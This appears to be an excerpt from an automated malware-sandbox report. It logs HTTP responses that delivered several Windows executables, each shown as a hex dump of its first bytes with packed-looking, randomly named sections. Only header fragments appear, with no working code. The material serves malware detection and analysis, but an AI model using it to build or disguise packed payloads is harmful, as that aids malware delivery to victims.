Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 22:37:19 GMTContent-Type: application/octet-streamContent-Length: 1890816Last-Modified: Thu, 31 Oct 2024 22:34:53 GMTConnection: keep-aliveETag: "6724060d-1cda00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 40 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 4b 00 00 04 00 00 98 e9 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 2c 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 2c 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 6f 71 66 6d 74 6e 74 00 c0 19 00 00 70 31 00 00 be 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 71 6b 6d 79 68 71 69 00 10 00 00 00 30 4b 00 00 04 00 00 00 b4 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 4b 00 00 22 00 00 00 b8 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 22:38:08 GMTContent-Type: application/octet-streamContent-Length: 2971136Last-Modified: Thu, 31 Oct 2024 22:34:32 GMTConnection: keep-aliveETag: "672405f8-2d5600"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 60 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 30 00 00 04 00 00 76 ed 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 92 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 73 77 65 7a 66 71 6b 6d 00 a0 2a 00 00 b0 05 00 00 9c 2a 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 64 79 6e 70 68 79 70 00 10 00 00 00 50 30 00 00 04 00 00 00 30 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 30 00 00 22 00 00 00 34 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 22:38:14 GMTContent-Type: application/octet-streamContent-Length: 2118656Last-Modified: Thu, 31 Oct 2024 22:34:46 GMTConnection: keep-aliveETag: "67240606-205400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 30 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 72 00 00 04 00 00 b8 4c 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 29 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 73 6c 77 62 72 68 6a 00 b0 19 00 00 70 58 00 00 a2 19 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 71 76 67 6c 6d 65 61 00 10 00 00 00 20 72 00 00 06 00 00 00 2c 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 72 00 00 22 00 00 00 32 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 22:38:20 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Thu, 31 Oct 2024 21:44:39 GMTConnection: keep-aliveETag: "6723fa47-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 3f fa 23 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 ea 7e 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 31 Oct 2024 22:38:23 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 22:38:25 GMTContent-Type: application/octet-streamContent-Length: 888832Last-Modified: Sun, 27 Oct 2024 06:45:44 GMTConnection: keep-aliveETag: "671de198-d9000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ab 02 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 2e 00 ec 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8a cf 01 00 00 10 00 00 00 d0 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 08 d1 00 00 00 e0 01 00 00 d2 00 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c bd 2b 00 00 c0 02 00 00 9e 0a 00 00 a6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 3e 4b 00 00 00 80 2e 00 00 4c 00 00 00 44 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 22:38:31 GMTContent-Type: application/octet-streamContent-Length: 2812416Last-Modified: Thu, 31 Oct 2024 21:45:05 GMTConnection: keep-aliveETag: "6723fa61-2aea00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 68 e4 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6d 75 6d 74 7a 74 7a 72 00 a0 2a 00 00 a0 00 00 00 8a 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 65 61 69 68 67 71 72 00 20 00 00 00 40 2b 00 00 04 00 00 00 c4 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 c8 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
